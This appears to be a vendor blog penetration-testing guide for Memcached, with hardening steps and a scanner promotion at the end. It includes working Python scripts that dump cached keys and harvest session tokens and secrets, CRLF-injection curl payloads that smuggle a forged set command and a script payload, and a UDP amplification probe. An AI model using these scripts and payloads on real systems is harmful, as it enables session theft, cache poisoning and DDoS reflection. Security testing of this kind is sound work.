Memcached Security Testing: Unauthenticated Access, Cache Poisoning, and DRDoS Amplification

Memcached provides no authentication by default and stores arbitrary application data in plaintext. Over 100,000 internet-exposed Memcached instances have been discovered on Shodan, each containing production session tokens, user objects, and API responses. Worse, Memcached's UDP protocol enables one of the highest amplification DRDoS attacks ever observed (51,000x amplification factor), used in the 1.7 Tbps GitHub attack of 2018. This guide covers Memcached penetration testing: unauthenticated access, session theft, cache poisoning via CRLF injection, and DRDoS amplification assessment.

Table of Contents

  1. Memcached Attack Surface
  2. Discovery and Fingerprinting
  3. Unauthenticated Access and Data Extraction
  4. Session Token and Sensitive Data Theft
  5. Cache Poisoning via CRLF Injection
  6. DRDoS UDP Amplification Assessment
  7. SASL Authentication Bypass
  8. Memcached Security Hardening

Memcached Attack Surface

Attack VectorDefault ConfigImpact
Port 11211 TCP (text protocol)No auth, all IPsFull cache read/write/delete
Port 11211 UDP (binary protocol)Enabled pre-1.5.6DRDoS 51,000x amplification
No TLS by defaultPlaintext on wireMITM, credential theft
SASL auth optionalDisabledBrute force if enabled
Key namespace flatSingle namespaceAny key accessible to any client
Stats endpointNo authServer internals disclosure
Critical Risk: Memcached was designed for trusted internal networks. It has no authentication by default, no encryption, and no access control. Any host that can reach port 11211 can read, write, or delete all cached data. NEVER expose Memcached to the internet or to untrusted network segments.

Discovery and Fingerprinting

# Nmap scan for Memcached
nmap -sV -p 11211 --script memcached-info target-range/24

# Quick banner grab
echo -e "stats\r\n" | nc -w3 memcached-host 11211

# Check UDP is exposed (critical for DRDoS assessment)
echo -e "stats\r\n" | nc -u -w2 memcached-host 11211

# Identify Memcached version
echo -e "version\r\n" | nc -w2 memcached-host 11211
# Response: VERSION 1.6.17 or similar

# Shodan search (for external assessment)
# shodan search "port:11211 product:Memcached"
# Returns internet-exposed instances globally

# Check for SASL authentication requirement
echo -e "set testkey 0 0 4\r\ntest\r\nget testkey\r\n" | nc -w3 memcached-host 11211
# If SASL enabled: ERROR UNAUTHORIZED
# If no auth: STORED / VALUE testkey ...

Unauthenticated Access and Data Extraction

# Connect to Memcached (no authentication required by default)
nc -vv memcached-host 11211

# Basic commands once connected:
# stats                    - server statistics
# stats slabs              - memory allocation per slab
# stats items              - item count per slab
# stats cachedump N 0      - dump all keys from slab N
# get key                  - get a specific key's value
# delete key               - delete a key
# flush_all                - delete ALL cached items (destructive!)

# Automated key dump script
python3 << 'EOF'
import socket

def memcached_cmd(s, cmd):
    s.sendall((cmd + "\r\n").encode())
    return s.recv(65536).decode()

s = socket.socket()
s.connect(("memcached-host", 11211))
s.settimeout(3)

# Get server stats
print("=== Server Info ===")
print(memcached_cmd(s, "version"))
print(memcached_cmd(s, "stats"))

# Get slab stats to find which slabs have data
print("=== Items per slab ===")
items_response = memcached_cmd(s, "stats items")
slabs = []
for line in items_response.split("\n"):
    if "STAT items:" in line:
        slab_id = line.split(":")[1].split(":")[0]
        if slab_id not in slabs:
            slabs.append(slab_id)

# Dump keys from each slab
all_keys = []
for slab in slabs[:10]:  # limit to first 10 slabs
    print(f"\n=== Slab {slab} keys ===")
    dump = memcached_cmd(s, f"stats cachedump {slab} 100")
    print(dump[:500])
    for line in dump.split("\n"):
        if line.startswith("ITEM "):
            key = line.split(" ")[1]
            all_keys.append(key)

# Fetch first 20 keys
print("\n=== Key values ===")
for key in all_keys[:20]:
    result = memcached_cmd(s, f"get {key}")
    print(f"Key: {key}")
    print(f"Value: {result[:200]}")
    print("---")

s.close()
EOF

Session Token and Sensitive Data Theft

# Common high-value cache key patterns to target
# (application frameworks use predictable key names)

# PHP session cache
# Keys like: PHPREDIS_SESSION:sess_abc123, memc.sess.key.abc123
echo -e "stats cachedump 1 1000\r\n" | nc -w5 memcached-host 11211 | grep -i "sess\|session"

# Django cached sessions
# Keys like: django.contrib.sessions.cache:abc123
echo -e "get django.contrib.sessions.cache:$(head -1 /dev/urandom | md5sum | head -c 32)\r\n" | nc -w2 memcached-host 11211

# Rails session store in Memcached
# Keys like: _session_id:abc123 or app:session:abc123

# Node.js Express sessions (express-session with connect-memcached)
# Keys like: sess:abc123

# General enumeration of interesting patterns
python3 << 'EOF'
import socket, re

s = socket.socket()
s.connect(("memcached-host", 11211))
s.settimeout(5)

interesting_patterns = [
    "session", "sess", "token", "auth", "user", "login",
    "password", "passwd", "secret", "key", "api", "jwt",
    "oauth", "bearer", "csrf", "admin", "cache:user"
]

# Dump all keys from slabs 1-10
all_data = ""
for slab in range(1, 11):
    s.sendall(f"stats cachedump {slab} 10000\r\n".encode())
    try:
        chunk = s.recv(65536).decode(errors='replace')
        all_data += chunk
    except:
        pass

# Find keys matching sensitive patterns
for line in all_data.split("\n"):
    if "ITEM " in line:
        key = line.split(" ")[1]
        for pattern in interesting_patterns:
            if pattern.lower() in key.lower():
                s.sendall(f"get {key}\r\n".encode())
                value = s.recv(65536).decode(errors='replace')
                print(f"[!] SENSITIVE KEY: {key}")
                print(f"    VALUE: {value[:300]}")
                break

s.close()
EOF

Cache Poisoning via CRLF Injection

If a web application constructs Memcached key names using user-controlled input without stripping CRLF characters, an attacker can inject additional Memcached commands through the key name — poisoning or overwriting other cached entries.

# Memcached key CRLF injection
# Vulnerable code pattern (Python):
# key = f"user:{user_id}"
# cache.set(key, user_data)

# Attack: inject CRLF + a new set command into the key
# If user_id = "123\r\nset admin_token 0 300 20\r\nforged_admin_token"
# The resulting Memcached commands become:
# set user:123
# set admin_token 0 300 20
# forged_admin_token

# Test CRLF injection via application endpoint
# The application reads user_id from a parameter, constructs key, caches user
curl "http://app.target.com/profile?user_id=123%0d%0aset%20admin_token%200%20300%2020%0d%0aforged_admin_token"

# Verify if injection succeeded
echo -e "get admin_token\r\n" | nc -w2 memcached-host 11211
# If returns: VALUE admin_token 0 20 / forged_admin_token → injection successful

# More impactful: poison a cached page
# User_id = "123\r\nset homepage_cache 0 3600 50\r\n"
curl "http://app.target.com/cache?id=123%0d%0aset%20homepage_cache%200%203600%2050%0d%0a%3Cscript%3Ealert(1)%3C/script%3E"

# Verify
echo -e "get homepage_cache\r\n" | nc -w2 memcached-host 11211

DRDoS UDP Amplification Assessment

Memcached's UDP protocol can be abused for Distributed Reflective Denial of Service (DRDoS) attacks. A 15-byte `stats` request can return 100+ KB of statistics (51,000x amplification). This was used in the 1.7 Tbps GitHub attack in 2018.

Authorization Required: Testing for DRDoS amplification must only be performed on systems you own or have explicit written authorization to test. Never send test traffic to third-party Memcached servers — this constitutes an unauthorized attack.
# Check if UDP port 11211 is accessible (amplification vector)
# Use netcat UDP mode
echo -e "stats\r\n" | nc -u -w2 memcached-host 11211 | wc -c
# Large response (thousands of bytes) = amplification vulnerability

# More precise check with timing
python3 << 'EOF'
import socket, time

HOST = "memcached-host"
PORT = 11211

# Memcached UDP request format:
# [request_id 2B][sequence 2B][num_datagrams 2B][reserved 2B][payload]
request_id = b'\x00\x01'
seq = b'\x00\x00'
num_datagrams = b'\x00\x01'
reserved = b'\x00\x00'
payload = b"stats\r\n"

udp_request = request_id + seq + num_datagrams + reserved + payload

s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.settimeout(3)

start = time.time()
s.sendto(udp_request, (HOST, PORT))

total_bytes = 0
try:
    while True:
        data, _ = s.recvfrom(65536)
        total_bytes += len(data)
except socket.timeout:
    pass

elapsed = time.time() - start
amplification = total_bytes / len(udp_request) if total_bytes > 0 else 0
print(f"Sent: {len(udp_request)} bytes")
print(f"Received: {total_bytes} bytes")
print(f"Amplification factor: {amplification:.0f}x")
print(f"Status: {'VULNERABLE to DRDoS' if amplification > 10 else 'Not vulnerable'}")

s.close()
EOF

# Remediation: disable UDP
# In memcached.conf or startup args:
# memcached -p 11211 -U 0 -l 127.0.0.1 (disables UDP, binds to localhost)

# Check current binding
ps aux | grep memcached
# Look for: -l 0.0.0.0 (all interfaces, BAD) vs -l 127.0.0.1 (localhost only, GOOD)
# Look for: -U 0 (UDP disabled, GOOD) vs no -U flag (UDP enabled on same port, BAD)

SASL Authentication Testing

# If Memcached is compiled with SASL support and -S flag is set:
# Test SASL authentication mechanism
python3 << 'EOF'
import socket

HOST = "memcached-host"
PORT = 11211

s = socket.socket()
s.connect((HOST, PORT))
s.settimeout(5)

# Try to access without auth first
s.sendall(b"get test_key\r\n")
resp = s.recv(1024).decode()
print(f"Unauthenticated get response: {resp}")
# If SASL: CLIENT_ERROR AUTHENTICATION FAILURE
# If no SASL: END (key doesn't exist) or VALUE ...

# Check SASL mechanisms supported
s.sendall(b"\x80\x20\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
sasl_resp = s.recv(1024)
print(f"SASL list response (raw): {sasl_resp[:50]}")

s.close()
EOF

# Common SASL credentials to try (if SASL is enabled)
# Most deployments use a single username/password set in -S mode
# Credentials are often hardcoded in application config files

# Search for Memcached credentials in application configs
grep -rE "(memcache|CACHE_HOST|MEMCACHED)" /var/www/ --include="*.py" --include="*.rb" --include="*.php" --include="*.env" 2>/dev/null | \
  grep -iE "(password|pass|user|auth)"

# ElastiCache-specific: IAM auth uses token-based auth
# aws elasticache describe-cache-clusters --show-cache-node-info | \
#   grep -i "endpoint\|auth"

Memcached Security Hardening

# 1. Bind to localhost only (never 0.0.0.0 in production)
# /etc/memcached.conf or startup flag:
# -l 127.0.0.1
# For distributed: use VPC security groups / iptables to restrict to app servers only

# 2. Disable UDP (eliminates DRDoS amplification attack vector)
# -U 0

# 3. Enable SASL authentication (if using Memcached >= 1.4.3 with SASL support)
# -S (enable SASL)
# Requires: SASL_CONF_PATH=/etc/sasl2/ with memcached.conf defining username/password

# 4. Network-level access control with iptables
iptables -A INPUT -p tcp --dport 11211 -s 10.0.1.0/24 -j ACCEPT  # app subnet
iptables -A INPUT -p tcp --dport 11211 -j DROP                    # block everything else
iptables -A INPUT -p udp --dport 11211 -j DROP                    # block UDP entirely

# 5. Enable TLS (Memcached >= 1.6.0)
# --enable-tls compile flag, then:
# -Z --cert-file=/etc/ssl/memcached.crt --key-file=/etc/ssl/memcached.key

# 6. Set reasonable memory limits to prevent cache exhaustion
# -m 512 (MB)

# 7. Monitor for suspicious activity
# - Unexpected stat resets (flush_all commands)
# - High miss rate (may indicate key enumeration)
# - Unusually large key counts (data injection)

# 8. Application-level: add namespace prefixes to avoid key collision
# Instead of: cache.set("user_123", data)
# Use: cache.set(f"{app_name}:{environment}:user:123", data)

# AWS ElastiCache: enable encryption at rest and in transit
# aws elasticache modify-cache-cluster \
#   --cache-cluster-id my-cluster \
#   --auth-token "STRONG_RANDOM_TOKEN_32_CHARS_MIN"
Memcached Security Checklist: Bind to localhost or VPC-internal IPs only; disable UDP port 11211 to prevent DRDoS amplification; enable SASL authentication for multi-tenant environments; restrict network access via security groups or iptables; never store plaintext passwords or full session objects in cache; use application-level namespacing; enable TLS for in-transit encryption; monitor for flush_all commands and unusual key enumeration patterns.
Security TestCommandRisk
Unauthenticated accessecho "stats" | nc host 11211Critical
Key enumeration and data dumpstats cachedump N 0Critical
Session token extractionPattern-match cached keysCritical
UDP amplification exposureUDP stats request, measure bytesCritical
CRLF injection via key name%0d%0a in key parameterHigh
SASL bruteforce (if enabled)Common credentials listMedium
TLS missing (network sniff)Wireshark capture on VLANMedium

Automate Memcached Security Audits

Ironimo detects unauthenticated Memcached access, UDP amplification exposure, CRLF injection vulnerabilities in caching layers, and session data exposure — as part of comprehensive infrastructure security scanning.

Start free scan